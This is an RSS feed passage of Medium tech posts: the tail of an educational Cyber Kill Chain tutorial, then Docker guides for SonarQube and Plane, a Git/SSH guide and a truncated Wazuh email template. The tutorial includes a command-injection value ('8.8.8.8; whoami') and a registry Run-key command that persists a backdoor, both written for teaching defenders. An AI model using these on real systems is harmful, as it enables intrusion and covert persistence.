&quot;Weapon&quot; file<br>     (Office macro / PDF / .exe / .hta script)<br>                    │<br>                    ▼<br>         Obfuscated so Antivirus can&#39;t detect it</pre><p><strong>Defense:</strong> this stage can&#39;t be seen directly (it&#39;s on the attacker&#39;s own machine), so defenders rely on threat intelligence, sandbox-testing suspicious files, and blocking risky attachment types at the email gateway.</p><h3>Stage 3: Delivery (Sending the Weapon)</h3><p>Delivery is the moment the weapon actually reaches the target — the first real contact.</p><p><strong>1. Email (Phishing)</strong> — the most common method.</p><ul><li>Malicious attachments disguised as invoices, receipts, or CVs.</li><li>Malicious links to fake login pages or automatic malware downloads.</li></ul><p>The module gives a full example scenario:</p><pre>Attacker prepares: cv-john-doe.doc (contains hidden macro)<br>                    │<br>                    ▼<br>   Sends email &quot;Job Application&quot; to HR manager<br>   From: applicant@freemail.com<br>   Message: &quot;Hello, my CV for your open position is attached.&quot;<br>                    │<br>                    ▼<br>   HR manager opens email + downloads the file<br>                    │<br>                    ▼<br>        ✅ Delivery stage successful</pre><p>To check if an email is fake, look at the headers:</p><ul><li><strong>SPF</strong> — checks if the sender&#39;s IP is actually allowed to send mail for that domain.</li><li><strong>DKIM</strong> — a digital signature proving the email wasn&#39;t altered.</li><li><strong>DMARC</strong> — decides what happens to suspicious mail (quarantine/reject/accept).</li></ul><p>Example of a suspicious header from the module:</p><pre>From: &quot;CEO Support&quot; &lt;admin@legit-company.com&gt;<br>Return-Path: &lt;attacker@bad-domain.com&gt;<br>X-Mailer: PHP/7.4</pre><p>Even though &quot;From&quot; looks legitimate, the &quot;Return-Path&quot; reveals a different, suspicious domain — and the X-Mailer: PHP header suggests it was sent by an automated script, not a real email client.</p><p><strong>2. Web-based delivery</strong></p><ul><li><strong>Drive-by Download</strong> — malware downloads automatically just from visiting a bad website.</li><li><strong>Watering Hole</strong> — attacker hacks a site the target regularly visits, and waits for them to show up.</li></ul><p><strong>3. USB / Baiting</strong> Attackers drop USB drives labeled &quot;Salaries&quot; or &quot;Confidential&quot; somewhere an employee will find them. A <strong>USB Rubber Ducky</strong> looks like a normal USB stick but acts like a keyboard, typing out malicious commands the instant it&#39;s plugged in.</p><p><strong>Defense:</strong> email security gateways (sandboxing attachments, enforcing SPF/DKIM/DMARC), web proxy/URL filtering, user awareness training, and restricting USB ports.</p><h3>Stage 4: Exploitation (Triggering the Bug)</h3><p>This is the moment the weapon actually works — the attacker gets code running on the target&#39;s system.</p><p>Vulnerabilities generally fall into three groups:</p><ol><li><strong>OS/service vulnerabilities</strong> — e.g. the Windows SMB flaw (MS17-010/EternalBlue) used in the WannaCry ransomware attack.</li><li><strong>Web application vulnerabilities</strong> — SQL Injection, Cross-Site Scripting (XSS), Remote Code Execution (RCE).</li><li><strong>Client-side vulnerabilities</strong> — bugs in browsers, PDF readers, or Office software, triggered when the victim opens a file.</li></ol><p><strong>Worked example — Command Injection</strong>, straight from the module:</p><p>A website lets users &quot;ping&quot; an IP address. Behind the scenes, the vulnerable PHP code is:</p><pre>$ip = $_POST[&#39;ip&#39;];<br>$output = shell_exec(&quot;ping -c 4 &quot; . $ip);</pre><p>It never checks what&#39;s inside $ip before running it as a command.</p><pre>Normal use:<br>   ip = 8.8.8.8<br>        │<br>        ▼<br>   Server runs: ping -c 4 8.8.8.8   → returns normal ping results<br><br>   Attack:<br>   ip = &quot;8.8.8.8; whoami&quot;<br>        │<br>        ▼<br>   Server runs: ping -c 4 8.8.8.8; whoami<br>        │<br>        ▼<br>   Server pings AND runs &quot;whoami&quot;<br>        │<br>        ▼<br>   Response includes: www-data<br>        │<br>        ▼<br>   ✅ Proof the attacker can run commands on the server</pre><p>From here, the attacker can use wget or curl to pull down a full malware payload.</p><p>There&#39;s also <strong>Buffer Overflow</strong> at the memory level: if a program doesn&#39;t check how much data a user sends, an attacker can overflow the memory buffer and overwrite the &quot;return address&quot; — pointing the program to run the attacker&#39;s own code (shellcode) instead.</p><p><strong>Defense:</strong> regular patching, input validation on web forms, memory protections like <strong>DEP</strong> and <strong>ASLR</strong>, Web Application Firewalls (WAF), and EDR tools that catch unusual behavior (like a Word document launching PowerShell).</p><h3>Stage 5: Installation (Staying In)</h3><p>A foothold from exploitation is often temporary — if the computer restarts or the connection drops, the attacker loses access. So they install a way to come back: <strong>persistence</strong>.</p><p>Common methods from the module:</p><ul><li><strong>Windows Registry Run keys</strong> — programs listed here launch automatically at startup:</li><li>reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v &quot;WindowsUpdater&quot; /t REG_SZ /d &quot;C:\Users\Public\backdoor.exe&quot; /f</li><li><strong>Scheduled Tasks (Windows):</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b5ec4796193" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deploy SonarQube with Docker Compose and PostgreSQL: Complete Step-by-Step Guide]]></title>
            <link>https://medium.com/@elizabethsosacherian/deploy-sonarqube-with-docker-compose-and-postgresql-complete-step-by-step-guide-4d5167c28a60?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d5167c28a60</guid>
            <category><![CDATA[sonarqube]]></category>
            <category><![CDATA[docker-compose]]></category>
            <category><![CDATA[code-quality]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[devsecops]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Tue, 09 Jun 2026 09:15:49 GMT</pubDate>
            <atom:updated>2026-06-09T09:15:49.344Z</atom:updated>
            <content:encoded><![CDATA[<p>Code quality is a critical part of modern DevSecOps pipelines. SonarQube is one of the most popular open-source platforms for continuous code inspection, helping teams detect bugs, vulnerabilities, security hotspots, and code smells before they reach production.</p><p>In this guide, we’ll deploy SonarQube Community Edition with PostgreSQL using Docker Compose. The setup is lightweight, persistent, and suitable for development, testing, and small-to-medium production environments.</p><h3>Architecture Overview</h3><p>The deployment consists of two containers:</p><p><strong>SonarQube</strong></p><ul><li>Web interface for code quality analysis</li><li>Connects to PostgreSQL for storing analysis results</li><li>Exposes port 9000</li></ul><p><strong>PostgreSQL</strong></p><ul><li>Dedicated database backend for SonarQube</li><li>Stores projects, scans, users, permissions, and reports</li></ul><h3>Prerequisites</h3><p>Before starting, ensure the following are installed:</p><ul><li>Docker Engine</li><li>Docker Compose</li><li>Minimum 4 GB RAM</li><li>Linux, Ubuntu, CentOS, Debian, or WSL2</li></ul><p>Verify installation:</p><pre>docker --version<br>docker compose version</pre><h3>Project Structure</h3><p>Create a working directory:</p><pre>mkdir sonarqube-docker<br>cd sonarqube-docker<br>touch docker-compose.yml</pre><h3>Docker Compose Configuration</h3><p>Create the following docker-compose.yml:</p><pre>version: &#39;3.8&#39;<br><br>services:<br>  sonarqube:<br>    image: sonarqube:lts-community<br>    container_name: sonarqube<br>    depends_on:<br>      - db<br>    environment:<br>      - SONAR_JDBC_URL=jdbc:postgresql://db:5432/sonar<br>      - SONAR_JDBC_USERNAME=sonar<br>      - SONAR_JDBC_PASSWORD=sonar<br>    volumes:<br>      - sonarqube_data:/opt/sonarqube/data<br>      - sonarqube_extensions:/opt/sonarqube/extensions<br>      - sonarqube_logs:/opt/sonarqube/logs<br>    ports:<br>      - &quot;9000:9000&quot;<br>    networks:<br>      - sonarnet<br>    restart: unless-stopped<br><br>  db:<br>    image: postgres:15<br>    container_name: postgres-sonar<br>    environment:<br>      - POSTGRES_USER=sonar<br>      - POSTGRES_PASSWORD=sonar<br>      - POSTGRES_DB=sonar<br>    volumes:<br>      - postgres_data:/var/lib/postgresql/data<br>    networks:<br>      - sonarnet<br>    restart: unless-stopped<br><br>networks:<br>  sonarnet:<br><br>volumes:<br>  sonarqube_data:<br>  sonarqube_extensions:<br>  sonarqube_logs:<br>  postgres_data:</pre><h3>Start SonarQube</h3><p>Launch the environment:</p><pre>docker compose up -d</pre><p>Verify containers are running:</p><pre>docker ps</pre><p>Expected output should show both sonarqube and postgres-sonar.</p><h3>Monitor Startup Logs</h3><p>SonarQube requires a few minutes for initialization. Follow the logs:</p><pre>docker logs -f sonarqube</pre><h3>Access SonarQube</h3><p>Open your browser and navigate to:</p><pre>http://localhost:9000</pre><p>Default credentials:</p><pre>Username: admin<br>Password: admin</pre><h3>Conclusion</h3><p>Using Docker Compose simplifies SonarQube deployment and maintenance. By combining SonarQube Community Edition with PostgreSQL, you get a reliable and persistent code quality platform that integrates easily with Jenkins, GitLab CI/CD, GitHub Actions, and other DevOps tools.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d5167c28a60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Hosting Plane with Docker Compose: Installation, Admin Setup & First Project]]></title>
            <link>https://medium.com/@elizabethsosacherian/self-hosting-plane-with-docker-compose-installation-admin-setup-first-project-7ad416144c8a?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ad416144c8a</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[self-hosting]]></category>
            <category><![CDATA[planes]]></category>
            <category><![CDATA[project-management]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Sat, 16 May 2026 09:22:48 GMT</pubDate>
            <atom:updated>2026-05-16T09:22:48.591Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5l3yCXnNwrFQqAN7_FDCbA.png" /></figure><p>A clean, reproducible walkthrough — from zero to a running Plane instance and your first project live.</p><p>Based on official Plane documentation · Prerequisites: Docker Engine 24+, Docker Compose v2</p><p>Plane is an open-source project management tool — think Jira, but one you fully own. This guide walks through spinning it up on a single Linux host using Docker Compose, securing it through the /god-mode admin panel, and creating your first workspace and project.</p><h3>What You’ll Run</h3><p>The full stack spans nine containers, all on a private bridge network:</p><h3>What You’ll Run</h3><p>The full stack spans nine containers, all on a private bridge network:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/834526c46914bae52ac3762def292c17/href">https://medium.com/media/834526c46914bae52ac3762def292c17/href</a></iframe><h3>Prerequisites</h3><ul><li>Docker Engine 24+ and Docker Compose v2 installed</li><li>4 vCPU, 8 GB RAM minimum (recommended)</li><li>Port 80 free (Nginx proxy); optionally 15672 (RabbitMQ UI) and 9090 (MinIO console)</li><li>A directory for your compose project, e.g. ~/plane-selfhost/</li></ul><h3>Part 1 — Configure Your Environment</h3><p>Create a .env file in your project directory. This is the single source of truth for secrets and service coordinates. <strong>Replace every placeholder before going to production.</strong></p><pre># ── Database ───────────────────────────────────────<br>POSTGRES_USER=plane<br>POSTGRES_DB=plane<br>POSTGRES_PASSWORD=plane<br>DATABASE_URL=postgresql://plane:plane@plane-db:5432/plane<br><br># ── Redis / Valkey ─────────────────────────────────<br>REDIS_URL=redis://plane-redis:6379/<br><br># ── RabbitMQ ───────────────────────────────────────<br>CELERY_BROKER_URL=amqp://plane:plane@plane-mq:5672/plane<br>RABBITMQ_USER=plane<br>RABBITMQ_PASSWORD=plane<br>RABBITMQ_VHOST=plane<br><br># ── MinIO / S3 ─────────────────────────────────────<br>AWS_ACCESS_KEY_ID=plane<br>AWS_SECRET_ACCESS_KEY=planeplaneplane<br>AWS_S3_BUCKET_NAME=uploads<br>AWS_S3_ENDPOINT_URL=http://plane-minio:9000<br>AWS_REGION=us-east-1<br><br># ── Application ────────────────────────────────────<br>SECRET_KEY=60gp0byfz2dvffa45cxl20p1sgiaw8huhxfabc<br>WEB_URL=http://localhost<br>DEBUG=0<br>CORS_ALLOWED_ORIGINS=http://localhost<br>FILE_SIZE_LIMIT=5242880<br>GUNICORN_WORKERS=3<br>WEB_CONCURRENCY=3<br><br># ── Email (optional, configure later in God Mode) ──<br>EMAIL_HOST=<br>EMAIL_HOST_USER=<br>EMAIL_HOST_PASSWORD=<br>EMAIL_PORT=587<br>EMAIL_USE_TLS=1<br>EMAIL_FROM=noreply@plane.so<br><br># Generate with: openssl rand -hex 32<br>MACHINE_SIGNATURE=abcd1234efgh5678ijkl9012mnop3456qrst7890uvwx1234</pre><h3>Part 2 — The docker-compose.yml</h3><p>All services share a private plane-network bridge. Only the Nginx proxy exposes port 80 to the host. Persistent data lives in named volumes.</p><pre>version: &#39;3.9&#39;<br><br>services:<br>  web:<br>    container_name: web<br>    image: makeplane/plane-frontend<br>    restart: always<br>    command: node web/server.js web<br>    depends_on: [api]<br>    networks: [plane-network]<br><br>  admin:<br>    container_name: admin<br>    image: makeplane/plane-admin<br>    restart: always<br>    command: node admin/server.js admin<br>    depends_on: [api, web]<br>    networks: [plane-network]<br><br>  space:<br>    container_name: space<br>    image: makeplane/plane-space<br>    restart: always<br>    command: node space/server.js space<br>    depends_on: [api, web]<br>    networks: [plane-network]<br><br>  api:<br>    container_name: api<br>    image: makeplane/plane-backend<br>    restart: always<br>    command: ./bin/docker-entrypoint-api.sh<br>    env_file: [.env]<br>    depends_on: [plane-db, plane-redis]<br>    networks: [plane-network]<br><br>  worker:<br>    container_name: bgworker<br>    image: makeplane/plane-backend<br>    restart: always<br>    command: ./bin/docker-entrypoint-worker.sh<br>    env_file: [.env]<br>    depends_on: [api, plane-db, plane-redis]<br>    networks: [plane-network]<br><br>  beat-worker:<br>    container_name: beatworker<br>    image: makeplane/plane-backend<br>    restart: always<br>    command: ./bin/docker-entrypoint-beat.sh<br>    env_file: [.env]<br>    depends_on: [api, plane-db, plane-redis]<br>    networks: [plane-network]<br><br>  migrator:<br>    container_name: plane-migrator<br>    image: makeplane/plane-backend<br>    restart: &quot;no&quot;<br>    command: ./bin/docker-entrypoint-migrator.sh<br>    env_file: [.env]<br>    depends_on: [plane-db, plane-redis]<br>    networks: [plane-network]<br><br>  live:<br>    container_name: plane-live<br>    image: makeplane/plane-live<br>    restart: always<br>    command: node live/dist/server.js<br>    networks: [plane-network]<br><br>  plane-db:<br>    container_name: plane-db<br>    image: postgres:15.7-alpine<br>    restart: always<br>    command: postgres -c &#39;max_connections=1000&#39;<br>    volumes: [pgdata:/var/lib/postgresql/data]<br>    env_file: [.env]<br>    networks: [plane-network]<br><br>  plane-redis:<br>    container_name: plane-redis<br>    image: valkey/valkey:7.2.5-alpine<br>    restart: always<br>    volumes: [redisdata:/data]<br>    networks: [plane-network]<br><br>  plane-mq:<br>    container_name: plane-mq<br>    image: rabbitmq:3.13.6-management-alpine<br>    restart: always<br>    env_file: [.env]<br>    volumes: [rabbitmq_data:/var/lib/rabbitmq]<br>    networks: [plane-network]<br><br>  plane-minio:<br>    container_name: plane-minio<br>    image: minio/minio<br>    restart: always<br>    command: server /export --console-address &quot;:9090&quot;<br>    volumes: [uploads:/export]<br>    networks: [plane-network]<br><br>  proxy:<br>    container_name: proxy<br>    image: makeplane/plane-proxy<br>    restart: always<br>    ports: [&quot;${NGINX_PORT:-80}:80&quot;]<br>    depends_on: [web, api, space, admin]<br>    networks: [plane-network]<br><br>volumes:<br>  pgdata:<br>  redisdata:<br>  uploads:<br>  rabbitmq_data:<br><br>networks:<br>  plane-network:<br>    driver: bridge</pre><h3>Part 3 — Bring It Up</h3><p>Run these commands in order from your project directory. The migrator runs once, applies all DB migrations, then exits.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/08f2ce793b494af18c472f8a0d34c3d6/href">https://medium.com/media/08f2ce793b494af18c472f8a0d34c3d6/href</a></iframe><pre># 1. Start infrastructure first<br>docker compose up -d plane-db plane-redis plane-mq plane-minio<br><br># 2. Run migrations (exits when done)<br>docker compose run --rm migrator<br><br># 3. Start all services<br>docker compose up -d<br><br># 4. Watch for errors<br>docker compose logs -f api proxy</pre><p>Navigate to http://localhost. You&#39;ll be prompted to secure your instance.</p><h3>Part 4 — Secure the Instance &amp; God Mode</h3><p>The first time you open Plane, you’ll see a <strong>“Let’s secure your instance”</strong> screen. Enter your email and a password. This creates the <strong>Instance Admin</strong> account — the single owner of /god-mode.</p><h3>Step-by-step: First God Mode setup</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2a347cb9962eb76b606b867c36b63bda/href">https://medium.com/media/2a347cb9962eb76b606b867c36b63bda/href</a></iframe><h3>Part 5 — Create Your First Project</h3><p>Once your workspace exists, creating a project takes about 30 seconds:</p><h4>Open your Workspace</h4><p>Navigate to http://localhost and log in with your instance admin credentials.</p><h4>Create a Project</h4><p>Click <strong>+ New Project</strong> in the sidebar. Give it a name, identifier (e.g. ENG), and optionally a description and cover image.</p><h4>Invite team members</h4><p>Inside the project, go to <strong>Settings → Members → Add Member</strong>. Enter their email — they’ll receive an invite (once SMTP is configured).</p><h4>Create your first Issue</h4><p>Click <strong>+ Add Issue</strong>, set a title, assignee, priority, and due date. You’re now tracking work.</p><h3>Conclusion</h3><p>Self-hosting Plane gives you a fully owned, Jira-grade project management stack that runs entirely on your own infrastructure. Once the containers are up and God Mode is configured, you get a clean multi-workspace environment with fine-grained control over authentication, user access, and file storage — no vendor lock-in, no per-seat cloud pricing. The initial setup takes under 30 minutes, and from there, updates are as simple as pulling new images and rerunning the migrator. Whether you’re running it for a small team or across multiple client instances, Plane’s self-hosted model keeps your data where it belongs — with you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ad416144c8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginner Git Guide]]></title>
            <link>https://medium.com/@elizabethsosacherian/beginner-git-guide-2c3005e03dee?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c3005e03dee</guid>
            <category><![CDATA[github]]></category>
            <category><![CDATA[version-control]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[gitlab]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 06:57:39 GMT</pubDate>
            <atom:updated>2026-04-28T06:57:39.665Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kYist0UWCC3-VjtKVjCYA.png" /></figure><p>If you’re new to Git, setting it up the right way from the beginning saves a lot of confusion later. This guide walks you through a <strong>clean, fresh Git setup using SSH</strong>, so you can securely connect your local project to platforms like GitHub or GitLab.</p><p>By the end, you’ll:</p><ul><li>Initialize a Git repository</li><li>Create and configure an SSH key</li><li>Connect to a remote repo</li><li>Push your code successfully</li></ul><h3>Step 1: Create or Open Your Project Folder</h3><pre>cd /path/to/your/project</pre><h3>Verify</h3><pre>pwd<br>ls</pre><p>Make sure you’re inside your project directory</p><h3>Step 2: Initialize Git</h3><pre>git init</pre><h3>Verify</h3><pre>git status</pre><p>You should see:</p><pre>No commits yet</pre><h3>Step 3: Generate SSH Key (Custom Name)</h3><pre>ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot; -f ~/.ssh/github_beginner</pre><p>This creates:</p><ul><li>github_beginner</li><li>github_beginner.pub</li></ul><h3>Step 4: Start SSH Agent &amp; Add Key</h3><pre>eval &quot;$(ssh-agent -s)&quot;<br>ssh-add ~/.ssh/github_beginner</pre><h3>Verify</h3><pre>ls ~/.ssh</pre><p>Your key files should be listed</p><h3>Step 5: Add SSH Key to Git Platform</h3><p>Copy your public key:</p><pre>cat ~/.ssh/github_beginner.pub</pre><p>Then add it to:</p><ul><li>GitHub → Settings → SSH Keys</li><li>GitLab → Preferences → SSH Keys</li></ul><h3>Test Connection</h3><pre>ssh -T git@github.com</pre><p>Expected:</p><pre>You&#39;ve successfully authenticated</pre><h3>Step 6: Add and Commit Files</h3><pre>git add .<br>git commit -m &quot;Initial commit&quot;</pre><h3>Verify</h3><pre>git log --oneline</pre><h3>Step 7: Add Remote Repository</h3><p>Create a new repo in GitHub or GitLab.</p><p>Then connect it:</p><pre>git remote add origin git@github-beginner:username/repo.git</pre><h3>Verify</h3><pre>git remote -v</pre><h3>Step 8: Push Your Code</h3><pre>git branch -M main<br>git push -u origin main</pre><h3>Verify</h3><ul><li>Check your repository online</li><li>Or run:</li></ul><pre>git status</pre><p>“Up to date with origin/main”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c3005e03dee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Custom HTML Email Alerts in Wazuh (Step-by-Step Guide)]]></title>
            <link>https://medium.com/@elizabethsosacherian/building-custom-html-email-alerts-in-wazuh-step-by-step-guide-42120275bc91?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/42120275bc91</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[email-integration]]></category>
            <category><![CDATA[wazhu]]></category>
            <category><![CDATA[alerts]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 09:57:58 GMT</pubDate>
            <atom:updated>2026-04-27T09:57:58.183Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H49CyOe0zJasDFmvi4oL4A.png" /></figure><p><strong>Wazuh</strong> is an open-source security monitoring platform designed to help organizations detect, analyze, and respond to threats across their systems. It provides capabilities like <strong>log analysis, intrusion detection (HIDS), file integrity monitoring, vulnerability detection, and security configuration assessment</strong>.</p><p>Wazuh works by collecting data from endpoints (servers, cloud instances, containers) through agents, then analyzing it in a central manager. It integrates with tools like the <strong>Elastic Stack</strong> to offer powerful visualization and alerting dashboards.</p><p>In this guide, I’ll walk you through how to implement <strong>custom HTML email templates for Wazuh alerts</strong> using a Python integration — so your alerts look professional and are easier to act on.</p><h3>Why Customize Wazuh Email Alerts?</h3><p>Out of the box, Wazuh offers basic alert emails. They work — but they’re not ideal for teams that need:</p><ul><li>Clean, structured alert information</li><li>Branded email templates</li><li>Custom routing based on severity</li><li>Better readability for incident response</li></ul><p>So, let’s compare your options.</p><h3>Implementation Guide</h3><p>Let’s go step by step.</p><h3>Step 1: Create Required Files</h3><p>Create the HTML template and Python script inside the Wazuh integrations directory.</p><h3>Create HTML Template</h3><pre>sudo nano /var/ossec/integrations/wazuh_alert_template.html<br></pre><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Wazuh Security Alert&lt;/title&gt;<br>    &lt;style&gt;<br>        * {<br>            margin: 0;<br>            padding: 0;<br>            box-sizing: border-box;<br>        }<br>        <br>        body {<br>            font-family: -apple-system, BlinkMacSystemFont, &#39;Segoe UI&#39;, Roboto, &#39;Helvetica Neue&#39;, Arial, sans-serif;<br>            line-height: 1.6;<br>            color: #333;<br>            background-color: #f5f5f5;<br>        }<br>        <br>        .email-container {<br>            max-width: 650px;<br>            margin: 20px auto;<br>            background-color: #ffffff;<br>            border-collapse: collapse;<br>            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);<br>            border-radius: 8px;<br>            overflow: hidden;<br>        }<br>        <br>        /* Header */<br>        .email-header {<br>            background: linear-gradient(135deg, #1a1a1a 0%, #2d2d2d 100%);<br>            color: #ffffff;<br>            padding: 30px 20px;<br>            text-align: center;<br>            border-bottom: 4px solid #00d4aa;<br>        }<br>        <br>        .email-header h1 {<br>            font-size: 28px;<br>            margin-bottom: 8px;<br>            font-weight: 700;<br>            letter-spacing: -0.5px;<br>        }<br>        <br>        .alert-badge {<br>            display: inline-block;<br>            padding: 6px 16px;<br>            border-radius: 20px;<br>            font-size: 12px;<br>            font-weight: 600;<br>            text-transform: uppercase;<br>            letter-spacing: 1px;<br>            margin-top: 10px;<br>        }<br>        <br>        .severity-critical {<br>            background-color: #ff4444;<br>            color: white;<br>        }<br>        <br>        .severity-high {<br>            background-color: #ff9800;<br>            color: white;<br>        }<br>        <br>        .severity-medium {<br>            background-color: #ffc107;<br>            color: #333;<br>        }<br>        <br>        .severity-low {<br>            background-color: #4caf50;<br>            color: white;<br>        }<br>        <br>        /* Content Sections */<br>        .email-content {<br>            padding: 30px 20px;<br>        }<br>        <br>        .section {<br>            margin-bottom: 25px;<br>        }<br>        <br>        .section-title {<br>            font-size: 14px;<br>            font-weight: 700;<br>            color: #1a1a1a;<br>            text-transform: uppercase;<br>            letter-spacing: 1px;<br>            padding-bottom: 10px;<br>            border-bottom: 2px solid #f0f0f0;<br>            margin-bottom: 15px;<br>        }<br>        <br>        .alert-box {<br>            background-color: #f9f9f9;<br>            border-left: 4px solid #00d4aa;<br>            padding: 15px;<br>            border-radius: 4px;<br>            margin-bottom: 15px;<br>        }<br>        <br>        .alert-box.critical {<br>            border-left-color: #ff4444;<br>            background-color: #fff5f5;<br>        }<br>        <br>        .alert-box.high {<br>            border-left-color: #ff9800;<br>            background-color: #fff8f0;<br>        }<br>        <br>        .detail-row {<br>            display: flex;<br>            padding: 12px 0;<br>            border-bottom: 1px solid #f0f0f0;<br>        }<br>        <br>        .detail-row:last-child {<br>            border-bottom: none;<br>        }<br>        <br>        .detail-label {<br>            font-weight: 600;<br>            color: #555;<br>            width: 150px;<br>            min-width: 150px;<br>        }<br>        <br>        .detail-value {<br>            color: #333;<br>            word-break: break-word;<br>            flex: 1;<br>            font-family: &#39;Courier New&#39;, monospace;<br>            font-size: 13px;<br>        }<br>        <br>        .rule-info {<br>            background-color: #f0f8ff;<br>            border-left: 4px solid #2196F3;<br>            padding: 15px;<br>            border-radius: 4px;<br>            margin: 15px 0;<br>        }<br>        <br>        .rule-id {<br>            font-weight: 700;<br>            color: #2196F3;<br>            font-size: 14px;<br>        }<br>        <br>        .rule-description {<br>            color: #333;<br>            margin-top: 8px;<br>            font-size: 14px;<br>        }<br>        <br>        /* Timeline */<br>        .timeline {<br>            margin: 20px 0;<br>        }<br>        <br>        .timeline-item {<br>            padding-left: 30px;<br>            position: relative;<br>            margin-bottom: 15px;<br>        }<br>        <br>        .timeline-item:before {<br>            content: &#39;&#39;;<br>            position: absolute;<br>            left: 0;<br>            top: 6px;<br>            width: 12px;<br>            height: 12px;<br>            background-color: #00d4aa;<br>            border-radius: 50%;<br>            border: 2px solid #fff;<br>            box-shadow: 0 0 0 2px #e0e0e0;<br>        }<br>        <br>        .timeline-time {<br>            font-size: 12px;<br>            color: #999;<br>            font-weight: 600;<br>        }<br>        <br>        .timeline-content {<br>            color: #333;<br>            margin-top: 4px;<br>            font-size: 14px;<br>        }<br>        <br>        /* Footer */<br>        .email-footer {<br>            background-color: #f5f5f5;<br>            padding: 20px;<br>            text-align: center;<br>            border-top: 1px solid #e0e0e0;<br>            font-size: 12px;<br>            color: #666;<br>        }<br>        <br>        .footer-link {<br>            color: #00d4aa;<br>            text-decoration: none;<br>        }<br>        <br>        .footer-link:hover {<br>            text-decoration: underline;<br>        }<br>        <br>        /* Action Button */<br>        .action-button {<br>            display: inline-block;<br>            background-color: #00d4aa;<br>            color: #000;<br>            padding: 12px 30px;<br>            text-decoration: none;<br>            border-radius: 4px;<br>            font-weight: 600;<br>            margin: 20px 0;<br>            transition: background-color 0.3s;<br>        }<br>        <br>        .action-button:hover {<br>            background-color: #00b899;<br>        }<br>        <br>        .agent-status {<br>            display: inline-block;<br>            padding: 4px 10px;<br>            border-radius: 3px;<br>            font-size: 12px;<br>            font-weight: 600;<br>        }<br>        <br>        .agent-active {<br>            background-color: #e8f5e9;<br>            color: #2e7d32;<br>        }<br>        <br>        .agent-inactive {<br>            background-color: #ffebee;<br>            color: #c62828;<br>        }<br>        <br>        /* Responsive */<br>        @media (max-width: 600px) {<br>            .email-header h1 {<br>                font-size: 22px;<br>            }<br>            <br>            .detail-row {<br>                flex-direction: column;<br>            }<br>            <br>            .detail-label {<br>                width: 100%;<br>                margin-bottom: 5px;<br>            }<br>        }<br>    &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;table class=&quot;email-container&quot; width=&quot;100%&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;<br>        &lt;!-- Header --&gt;<br>        &lt;tr&gt;<br>            &lt;td class=&quot;email-header&quot;&gt;<br>                &lt;h1&gt;🔐 Wazuh Security Alert&lt;/h1&gt;<br>                &lt;span class=&quot;alert-badge severity-{{SEVERITY_CLASS}}&quot;&gt;{{SEVERITY_LEVEL}}&lt;/span&gt;<br>            &lt;/td&gt;<br>        &lt;/tr&gt;<br>        <br>        &lt;!-- Content --&gt;<br>        &lt;tr&gt;<br>            &lt;td class=&quot;email-content&quot;&gt;<br>                <br>                &lt;!-- Quick Summary --&gt;<br>                &lt;div class=&quot;section&quot;&gt;<br>                    &lt;div class=&quot;section-title&quot;&gt;Alert Summary&lt;/div&gt;<br>                    &lt;div class=&quot;alert-box {{SEVERITY_CLASS}}&quot;&gt;<br>                        &lt;strong&gt;{{ALERT_TITLE}}&lt;/strong&gt;&lt;br&gt;<br>                        &lt;small style=&quot;color: #666; margin-top: 8px; display: block;&quot;&gt;{{TIMESTAMP}}&lt;/small&gt;<br>                    &lt;/div&gt;<br>                &lt;/div&gt;<br>                <br>                &lt;!-- Rule Information --&gt;<br>                &lt;div class=&quot;section&quot;&gt;<br>                    &lt;div class=&quot;section-title&quot;&gt;Rule Details&lt;/div&gt;<br>                    &lt;div class=&quot;rule-info&quot;&gt;<br>                        &lt;div class=&quot;rule-id&quot;&gt;Rule ID: {{RULE_ID}} (Level: {{RULE_LEVEL}})&lt;/div&gt;<br>                        